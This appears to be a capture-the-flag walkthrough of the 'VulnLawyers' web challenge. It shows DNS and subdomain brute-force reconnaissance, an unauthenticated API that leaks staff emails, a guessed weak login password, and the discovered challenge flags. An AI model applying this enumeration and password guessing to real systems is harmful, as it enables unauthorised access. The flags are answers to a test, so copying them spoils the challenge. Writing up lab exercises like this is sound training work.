❯ nslookup -type=any vulnlawyers.co.uk 8.8.8.8
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: vulnlawyers.co.uk
Address: 68.183.255.206
vulnlawyers.co.uk nameserver = ns1.digitalocean.com.
vulnlawyers.co.uk nameserver = ns2.digitalocean.com.
vulnlawyers.co.uk nameserver = ns3.digitalocean.com.
vulnlawyers.co.uk
origin = ns1.digitalocean.com
mail addr = hostmaster.vulnlawyers.co.uk
serial = 1626211986
refresh = 10800
retry = 3600
expire = 604800
minimum = 1800
Authoritative answers can be found from:
❯ dnsrecon -d vulnlawyers.co.uk -D ~/Dokumente/ctfchallenge/wordlists/subdomains.txt -t brt
[*] Performing host and subdomain brute force against vulnlawyers.co.uk
[*] A data.vulnlawyers.co.uk 68.183.255.206
[*] A www.vulnlawyers.co.uk 68.183.255.206
[+] 2 Records Found
Visit: http://data.vulnlawyers.co.uk to get the first flag {"name":"VulnLawyers Website API","version":"2.1.04","flag":"[^FLAG^E78DEBBFDFBEAFF1336B599B0724A530^FLAG^]"}
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>VulnLawyers - Old Login</title>
<link href="/css/bootstrap.min.css" rel="stylesheet">
<link href="/template-manager/style.css" rel="stylesheet">
</head>
<body>
<div class="container">
<div class="row">
<div class="col-md-12">
<h1 style="padding-top:100px;text-align: center;color: #060505;letter-spacing: -1px;font-weight: bold">VulnLawyers</h1>
<h3 class="text-center">We'll win that case!</h3>
</div>
</div>
<div class="row">
<div class="col-md-6 col-md-offset-3">
<div class="alert alert-info">
<p>Access to this portal can now be found here <a href=/lawyers-only">/lawyers-only</a></p>
<p>[^FLAG^FB52470E40F47559EBA87252B2D4CF67^FLAG^]</p>
</div>
</div>
</div>
</div>
<script src="/js/jquery.min.js"></script>
<script src="/js/bootstrap.min.js"></script>
</body>
</html>
API Discovery
Back in the DNS Recon Phase we found http://data.vulnlawyers.co.uk to get the first flag. It mentioned an API. Lets check if we can find any useful endpoints
❯ curl -H "Cookie: ctfchallenge=CENSORED" http://data.vulnlawyers.co.uk/users | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 406 0 406 0 0 6766 0 --:--:-- --:--:-- --:--:-- 6766
{
"users": [
{
"name": "Yusef Mcclain",
"email": "yusef.mcclain@vulnlawyers.co.uk"
},
{
"name": "Shayne Cairns",
"email": "shayne.cairns@vulnlawyers.co.uk"
},
{
"name": "Eisa Evans",
"email": "eisa.evans@vulnlawyers.co.uk"
},
{
"name": "Jaskaran Lowe",
"email": "jaskaran.lowe@vulnlawyers.co.uk"
},
{
"name": "Marsha Blankenship",
"email": "marsha.blankenship@vulnlawyers.co.uk"
}
],
"flag": "[^FLAG^25032EB0D322F7330182507FBAA1A55F^FLAG^]"
}
Bruteforcing
We've discovered the login page previously during our content discovery phase. Let's check if we can crack a password by using the infos we've gathered on the api
After we logged in as jaskaran.lowe@vulnlawyers.co.uk using the password summer we can find another flag [^FLAG^7F1ED1F306FC4E3399CEE15DF4B0AE3C^FLAG^]
Logging in as Shayn Cairns we seem to have permissions to delete cases. Let's examine this. After clicking on "delete case" we get the final flag [^FLAG^B38BAE0B8B804FCB85C730F10B3B5CB5^FLAG^]